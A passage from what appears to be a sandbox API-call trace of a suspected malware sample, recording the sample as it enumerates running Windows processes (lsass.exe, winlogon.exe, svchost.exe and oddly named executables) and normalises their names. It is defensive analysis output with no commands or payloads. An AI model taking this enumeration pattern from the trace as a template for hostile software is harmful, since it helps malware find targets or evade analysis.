returned="CSRSS.EXE" [0282.085] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0282.085] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0282.086] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0282.086] lstrlenW (lpString="wininit.exe") returned 11 [0282.086] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0282.086] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0282.086] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0282.086] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.087] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0282.087] lstrlenW (lpString="csrss.exe") returned 9 [0282.087] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0282.087] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0282.087] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0282.087] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0282.087] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0282.087] lstrlenW (lpString="winlogon.exe") returned 12 [0282.087] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0282.087] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0282.087] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0282.087] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0282.088] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0282.088] lstrlenW (lpString="services.exe") returned 12 [0282.088] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0282.088] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0282.088] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0282.088] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0282.089] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0282.089] lstrlenW (lpString="lsass.exe") returned 9 [0282.089] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0282.089] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0282.089] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0282.089] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.089] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0282.090] lstrlenW (lpString="svchost.exe") returned 11 [0282.090] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0282.090] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.090] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.090] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.090] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0282.090] lstrlenW (lpString="svchost.exe") returned 11 [0282.090] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0282.090] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.090] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.090] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0282.091] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0282.091] lstrlenW (lpString="dwm.exe") returned 7 [0282.091] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0282.091] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0282.091] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0282.091] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.092] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0282.092] lstrlenW (lpString="svchost.exe") returned 11 [0282.092] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0282.092] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.092] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.092] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.092] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0282.092] lstrlenW (lpString="svchost.exe") returned 11 [0282.092] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0282.092] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.092] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.092] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.093] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0282.093] lstrlenW (lpString="svchost.exe") returned 11 [0282.093] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0282.093] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.093] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.093] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.094] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0282.094] lstrlenW (lpString="svchost.exe") returned 11 [0282.094] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0282.094] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.094] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.094] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.095] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0282.095] lstrlenW (lpString="svchost.exe") returned 11 [0282.095] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0282.095] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.095] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.095] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.095] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0282.095] lstrlenW (lpString="svchost.exe") returned 11 [0282.095] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0282.095] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.095] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.095] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0282.096] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0282.096] lstrlenW (lpString="spoolsv.exe") returned 11 [0282.096] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0282.096] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0282.096] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0282.096] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.097] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0282.097] lstrlenW (lpString="svchost.exe") returned 11 [0282.097] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0282.097] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.097] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.097] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0282.097] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0282.097] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0282.097] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0282.097] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0282.097] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0282.097] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.098] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0282.098] lstrlenW (lpString="svchost.exe") returned 11 [0282.098] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0282.098] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.098] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0282.098] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0282.099] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0282.099] lstrlenW (lpString="sihost.exe") returned 10 [0282.099] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0282.099] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0282.099] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0282.099] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0282.099] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0282.099] lstrlenW (lpString="taskhostw.exe") returned 13 [0282.099] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0282.099] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0282.100] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0282.100] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0282.100] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0282.100] lstrlenW (lpString="explorer.exe") returned 12 [0282.100] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0282.100] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0282.100] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0282.100] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0282.101] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0282.101] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0282.101] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0282.101] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0282.101] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0282.101] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0282.102] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0282.102] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0282.102] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0282.102] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0282.102] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0282.102] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0282.102] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0282.102] lstrlenW (lpString="SearchUI.exe") returned 12 [0282.102] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0282.102] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0282.102] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0282.103] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0282.103] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0282.103] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0282.103] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0282.103] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0282.103] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0282.103] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0282.104] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0282.104] lstrlenW (lpString="nice cu.exe") returned 11 [0282.104] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0282.104] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0282.104] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0282.104] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0282.105] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0282.105] lstrlenW (lpString="video_reviewing.exe") returned 19 [0282.105] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0282.105] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0282.105] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0282.105] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0282.105] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0282.105] lstrlenW (lpString="shame.exe") returned 9 [0282.105] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0282.105] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0282.105] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0282.105] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0282.106] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0282.106] lstrlenW (lpString="fantasy.exe") returned 11 [0282.106] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0282.106] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0282.106] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0282.106] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0282.107] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0282.107] lstrlenW (lpString="accepting.exe") returned 13 [0282.107] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0282.107] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0282.107] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0282.107] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0282.107] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0282.107] lstrlenW (lpString="authorized.exe") returned 14 [0282.107] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0282.107] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0282.107] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0282.107] Process32NextW (in: hSnapshot=0x2dc, lppe=0x2b4fb48 | 